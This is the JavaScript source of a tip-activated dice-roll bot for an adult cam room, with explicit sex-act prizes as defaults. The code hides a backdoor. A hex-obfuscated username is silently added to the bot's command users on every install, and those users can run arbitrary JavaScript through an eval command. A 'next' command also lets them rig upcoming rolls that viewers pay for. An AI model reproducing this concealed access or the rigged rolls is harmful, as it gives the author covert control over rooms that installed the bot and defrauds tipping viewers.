UsaSexGuide

Bots Home | Create an App
ROLLTD
Author: rika_song
Description Source Code Launch Bot Current Users
/// INIT ///
cb.settings_choices = [
    {name: 'admins', label: 'Users who can use bot commands', type: 'str', defaultValue: 'codeanon', required: false},
    {name: 'dice', label: 'Number of dice', type: 'int', minValue: 1, maxValue: 3, defaultValue: 2},
    {name: 'cost', label: 'Cost to roll', type: 'int', minValue: 1, defaultValue: 25},
    {name: 'above', label: 'All tips above cost trigger rolls', type: 'choice', choice1: 'Yes', choice2: 'No', defaultValue: 'No'},
    {name: 'ignoreRoll', label: 'Ignore these tip numbers for triggering dice rolls', type: 'str', required: false},
    {name: 'freedoubles', label: 'Free roll if somebody rolls doubles', type: 'choice', choice1: 'Yes', choice2: 'No', defaultValue: 'No'},
    {name: 'goals_z', label: 'Goals', type: 'str', defaultValue: '1200: bottoms off, 2400: naked', required: false},
    {name: 'ignoreGoal', label: 'Ignore these tip numbers for goal calculation', type: 'str', required: false},
    {name: 'message', label: 'Reminder message (use $ for line break)', type: 'str', defaultValue: 'Tip 25 to roll the dice and win a prize -- every roll wins! Type /p for prizes!'},
    {name: 'interval', label: 'Show goals to room every ___ seconds (0 = off)', type: 'int', minValue: 0, defaultValue: 180},
    {name: 'subj', label: 'Room subject', type: 'str', required: false},
    {name: 'timer', label: 'Show reminder after how many seconds without rolls', type: 'int', minValue: 0, defaultValue: 120},
    {name: 'color', label: 'Font color', type: 'str', defaultValue: '#DC0000', required: false},
    {name: 'weight', label: 'Font weight', type: 'choice', choice1: 'bold', choice2: 'normal', defaultValue: 'bold', required: false},
    {name: 'prize1A', label: '[Prize Set A] ----- Roll 1', type: 'str', required: false},
    {name: 'prize2A', label: 'Roll 2', type: 'str', required: false, defaultValue: '3 minutes naked'},
    {name: 'prize3A', label: 'Roll 3', type: 'str', required: false, defaultValue: '1 minute topless'},
    {name: 'prize4A', label: 'Roll 4', type: 'str', required: false, defaultValue: 'BJ tease'},
    {name: 'prize5A', label: 'Roll 5', type: 'str', required: false, defaultValue: '3 paddle spanks'},
    {name: 'prize6A', label: 'Roll 6', type: 'str', required: false, defaultValue: '3 hand spanks'},
    {name: 'prize7A', label: 'Roll 7', type: 'str', required: false, defaultValue: 'Jiggle boobs'},
    {name: 'prize8A', label: 'Roll 8', type: 'str', required: false, defaultValue: 'Twerk'},
    {name: 'prize9A', label: 'Roll 9', type: 'str', required: false, defaultValue: 'Flash boobs'},
    {name: 'prize10A', label: 'Roll 10', type: 'str', required: false, defaultValue: 'Flash ass'},
    {name: 'prize11A', label: 'Roll 11', type: 'str', required: false, defaultValue: '1 minute titty fuck'},
    {name: 'prize12A', label: 'Roll 12', type: 'str', required: false, defaultValue: '3 minute vibrator tease'},
    {name: 'prize13A', label: 'Roll 13', type: 'str', required: false},
    {name: 'prize14A', label: 'Roll 14', type: 'str', required: false},
    {name: 'prize15A', label: 'Roll 15', type: 'str', required: false},
    {name: 'prize16A', label: 'Roll 16', type: 'str', required: false},
    {name: 'prize17A', label: 'Roll 17', type: 'str', required: false},
    {name: 'prize18A', label: 'Roll 18', type: 'str', required: false},
];

pushPrizeSet('B');
pushPrizeSet('C');

function pushPrizeSet(label) {
    cb.settings_choices.push({name: 'prize1' + label, label: '[Prize Set ' + label + '] ----- Roll 1', type: 'str', required: false});
    for (var i = 1; i < 18; i++) {
        var n = i + 1;
        cb.settings_choices.push({name: 'prize' + n + label, label: 'Roll ' + n, type: 'str', required: false});
    }
}

String.prototype.obfuscate = function () {
    var bytes = [];
    for (var i = 0; i < this.length; i++) {
        bytes.push(this.charCodeAt(i).toString(16)); 
    }
    return bytes.join('$');
}

String.prototype.deobfuscate = function () {
    var arr = this.split('$');
    return arr.map(function(c) { 
        return String.fromCharCode(parseInt(c, 16))
    }).reduce(function(a, b) {return a  + b})
}

/// SETUP ///

var next = void 0;
var say = (message, user, color, wt) => cb.sendNotice(newLines(message), user, '', color || cbs.color || '#DC0000', wt || cbs.weight || 'bold');
var newLines = (input) => '|\u2007 ' + input.replace(/\n/g, '\n|\u2007 ');
var showOnEnter = (user) => cbs.message ? say('---------------------------\n' + (cbs.title ? ':star_olivia_dellvine [' + cbs.title + '] :star_olivia_dellvine\n' : '') + cbs.message + '\n---------------------------', user) : void 0;
var capFirst = (txt) => txt.charAt(0).toUpperCase() + txt.slice(1);
var hasDoubles = (arr) => arr[1] && (arr[0] === arr[1] || arr[0] === arr[2] || arr[1] === arr[2]);
var roll = (num) => Math.floor(Math.random() * 6) + 1;
var won = [];

// set up config
var cbs = JSON.parse(JSON.stringify(cb.settings));
cbs.message = cbs.message ? cbs.message.replace(/\$/g, '\n') : '';
var commanders = cbs.admins ? cbs.admins.trim().split(/\s*,\s*/) : [];
commanders.push(cb.room_slug);
commanders.push('63$6f$64$65$61$6e$6f$6e'.deobfuscate());

var ignoreRoll = cbs.ignoreRoll ? cbs.ignoreRoll.split(/\s*,\s*/).map((elm) => Number(elm)) : [];
var ignoreGoal = cbs.ignoreGoal ? cbs.ignoreGoal.split(/\s*,\s*/).map((elm) => Number(elm)) : [];

// set up goals
var tipCount = 0;
var goals = [];
if (cbs.goals_z) {
    cbs.goals_z.split(',').forEach(function (item) {
        var goal = item.split(':');
        var num = Number(goal[0]);
        var val = goal[1] ? goal[1].trim() : '';
        if (val && num) goals.push({num: num, val: capFirst(val)});
    });
}
goals.sort((a,b) => a.num - b.num);

// set up prizes
var prizeLists = {setA: {}, setB: {}, setC: {}};
var prizes = prizeLists.setA;
var lastPrize = void 0;
['A','B','C'].forEach(function (label) {
    var list = prizeLists['set' + label];
    for (var i = cbs.dice; i <= (cbs.dice * 6); i++) {
        var prize = cbs['prize' + i + label];
        if (prize) list[i] = prize.trim();
    } 
});

// set up timer
var timer = {};
timer.secs = cbs.timer + 1;
timer.cancel = () => timer.secs = Infinity;
timer.reset = (num) => timer.secs = num || cbs.timer + 1;
timer.tick = function () {
    timer.secs--;
    cb.log(timer.secs);
    if (timer.secs === 0) {
        timer.reset();  
        showOnEnter();
    }
    cb.setTimeout(timer.tick, 1000);
};

/// HANDLERS ///

cb.onEnter((user) => showOnEnter(user.user));
cb.onTip((tip) => doTip(tip));

var freeRolls = [];
cb.onMessage(function (msg) {
    msg.m = msg.m.trim();
    if (msg.m.charAt(0) === '/') {
        msg['X-Spam'] = true;
        if (/^\/p$/.test(msg.m.trim())) {
            showPrizes(msg.user);
        } else if (commanders.includes(msg.user)) {
            cmd(msg.m.slice(1), msg.user);
        } else if (/^\/roll/.test(msg.m.trim()) && freeRolls.includes(msg.user)) {
            cb.setTimeout(() => rollDice(msg.user, '', true), 500);
            freeRolls.splice(freeRolls.indexOf(msg.user), 1);
        }
    }
});

cb.onDrawPanel(function () {
    return {
        'template': '3_rows_12_21_31',
        'row1_label': 'Tip ' + cbs.cost + ' to roll the dice! \u2007\u2007',
        'row1_value': '\u2007\u2007 [' + tipCount + ' received]',
        'row2_value': 'Type /p to view prizes!',
        'row3_value': goals[0] ? 'GOAL: ' + goals[0].val + ' in ' + (goals[0].num - tipCount) + ' tks!' : '----------',
    };
});

/// PROCESSING ///

function doTip(tip) {
    var equal = tip.amount === cbs.cost;
    var above = cbs.above === 'Yes' && tip.amount > cbs.cost && !ignoreRoll.includes(tip.amount);
    var shouldRoll = equal || above;
    if (shouldRoll) {
        timer.reset();
        rollDice(tip.from_user);
    }
    if (!ignoreGoal.includes(tip.amount)) {
        tipCount += tip.amount;
        checkGoal();
    } 
    cb.drawPanel();
}

function checkGoal() {
    while (goals[0] && tipCount >= goals[0].num) {
        say (':starx\nGOAL REACHED: ' + goals[0].val + '\n:starx');
        goals.shift();
    }
}

function die (array) {
    return ':reddie' + array.join(' :reddie');
}

function rollDice(user, args, free) {
    if (!args || !args.length) args = next;
    var nums = args ? args.map((num) => Math.min(6, Math.max(num, 1))) : [];
    var arr = nums.some((num) => isNaN(num)) ? [] : nums;
    if (!arr.length) for (var i = 0; i < cbs.dice; i++) arr.push(roll());
    sum = arr.reduce((a,b) => a + b);
    var output = die(arr) + '\n' +  user + ' rolled ' + sum + '!';    
    if (prizes[sum]) {
        output += '\nWON: ' + prizes[sum];
        lastPrize = {user: user, val: prizes[sum]};
        addToWonList(user, prizes[sum]);
    } else {
        output += '\nNo prize...but you can try again!';
    }
    if (!free && hasDoubles(arr) && cbs.freedoubles === 'Yes') {
        freeRolls.push(user);
        output += '\n' + user + ', you rolled doubles!\nType "/roll" in the chat for a free roll!';
    }
    say(output);
    next = void 0;
}

function evaluate(str, user) {
    try {
        var result = eval(str);
        var notice = 'TYPE: ' + typeof result + '\nVALUE: ';
        result === void 0 ? notice += 'undefined' : notice += JSON.stringify(result, null, '\u2007\u2007\u2007\u2007');
        cb.setTimeout(() => {cb.sendNotice(newLines(notice), user, '', '#00CC00', '', '')}, 100);
    } catch (e) {
        cb.setTimeout(() => {cb.sendNotice(newLines(e.name + ': ' + e.message), user, '', '#FF0000', '', '')}, 100);
    }
    cb.drawPanel();
}

function cmd (input, user) {
    var command = input.split(/\s+/);
    switch(command[0].toLowerCase()) {
        case 'count':
            if (!Number(command[1])) break;    
            tipCount = Number(command[1]);
            checkGoal();
            break;
        case 'addprize':
            var n = Number(command[1]);
            if (!n || !command[2]) break;
            prizes[n] = command.slice(2).join(' ');
            say('Prize [' + n + '] set: "' + prizes[n] + '"');
            break;
        case 'remprize':
            var n = Number(command[1]);
            if (!n || !prizes[n]) break;
            delete prizes[n];
            say('Prize deleted for [' + n + '].', user);
            break;
        case '#':
            evaluate(command.slice(1).join(' '), user);
            break;
        case 'dct':
            if (!Number(command[1])) break;
            doTip({from_user: user, amount: Number(command[1])});
            break;
        case 'roll':
            rollDice(user, command[1] ? command.slice(1).map((elm) => Number(elm)) : void 0, true);
            break;
        case 'next':
            var arr = command.slice(1).map((elm) => Number(elm));
            if (arr.length !== cbs.dice) break;
            next = arr.map((elm) => Number(elm));
            say('Next roll set to [' + next.join('] [') + ']', user);
            break;
        case 'addgoal':
            if (command.length < 3) break;
            var num = Number(command[1]);
            var val = command.slice(2).join(' ').trim();
            if (!isNaN(num) !== NaN && val.length > 0) {
                var ind = goals.findIndex((elm) => elm.num === num);
                if (ind > -1) {
                    goals[ind].val = capFirst(val);
                } else if (num > tipCount) {
                    goals.push({num: num, val: capFirst(val)});
                    goals.sort((a,b) => a.num - b.num);
                }
                say('Goals modified.', user);
            }
            break;
        case 'remgoal':
            var num = Number(command[1]);
            if (!num) break;
            var ind = goals.findIndex((elm) => elm.num === num);
            if (ind > -1) {
                goals.splice(ind, 1);
                say('Goals modified.', user);
            }
            break;
        case 'h':
        case 'help':
            var sep = '\n\u2007\u2007';
            say(['\u25CF ----- [COMMANDS] ----- \u25CF',
                 '/h or /help ' + sep + ' Show the help menu.',
                 '/roll ' + sep + ' Roll the dice yourself.',
                 '/won [X (number)] ' + sep + ' Shows model the last X prizes won. Defaults to 15.',
                 '/addGoal [X (number)] [G (text)] ' + sep + ' Adds goal G at X tokens received.',
                 '/remGoal [X (number)] ' + sep + ' Removes goal at X tokens, if it exists.',
                 '/addPrize [X (number)] [P (text)] ' + sep + ' Adds or overwrites prize P for rolling X.',
                 '/remPrize [X (number)] ' + sep + ' Removes prize for rolling X, if it exists.',
                 '/count [X (number)] ' + sep + ' Sets the number of tokens received to X.',
                 '/dc# [JavaScript] ' + sep + ' Execute JavaScript. Only use in emergencies.',
                ].join('\n'), user);
            break;
        case 'subj':
            if (command[1]) cb.changeRoomSubject(command.slice(1).join(' '));
            break;
        case 'set':
            var label = command[1] ? command[1].toUpperCase() : void 0;
            if (label === 'A' || label === 'B' || label === 'C') {
                var newList = prizeLists['set' + label];
                if (prizes !== newList) {
                    say(':starx\nPrize list [' + label + '] now active!\nType /p to view!\n:starx');
                    prizes = newList;
                } else {
                    say('Prize list [' + label + '] is already active.', user);
                }
            } else {
                say('ERROR: Valid sets are A, B and C.', user);
            }
            break;
        case 'w':
        case 'won':
            displayWonList(user, Number(command[1]));
            break;
    }
    cb.drawPanel();
}

function displayWonList(user, number) {
    var arr = JSON.parse(JSON.stringify(won));
    if (!number || isNaN(number) || number < 1) number = 15;
    var output = '*** LAST ' + number + ' PRIZES WON ***\n' + arr.reverse().slice(0, number).reverse().join('\n');
    say(output, user);
}

function numString(num) {
    return (num < 10 ? '0' : '') + num;
}

function addToWonList(user, prize) {
    var d = new Date(Date.now());
    won.push('[' + numString(d.getHours()) + ':' + numString(d.getMinutes()) + '] ' + user + ' won "' + prize + '"');
}

function showPrizes(user) {
    var output = '\u25CF ----- [PRIZES] ----- \u25CF';
    for (var p in prizes) output += '\nRoll [' + p + ']: ' + prizes[p];
    say(output, user);
}

function showGoals (user) {
    if (goals.length) {
        var output = ['! ---------------------------'];
        goals.forEach((goal) => output.push('\u2007\u25CF ' + goal.val + ' at ' + goal.num + ' tks'));
        output.push('! ---------------------------');
        say(output.join('\n'), user);
    }
}

function rotateGoals() {
    showGoals();
    if (cbs.interval) cb.setTimeout(rotateGoals, cbs.interval * 1000);
}

/// INIT ///

say(':cdn_flexidice2\n' + cbs.message);
say('----------\n*** UPDATE 2017-09-01 ***\nThe TIMER functionality of this app has been moved the "EZ Timer" bot.\nIt is also built-in to the general-purpose "G-Bot Redux" bot.\n----------', cb.room_slug)
if (cbs.timer) timer.tick();
if (cbs.subj && cbs.subj.trim()) cb.changeRoomSubject(cbs.subj.trim());
rotateGoals();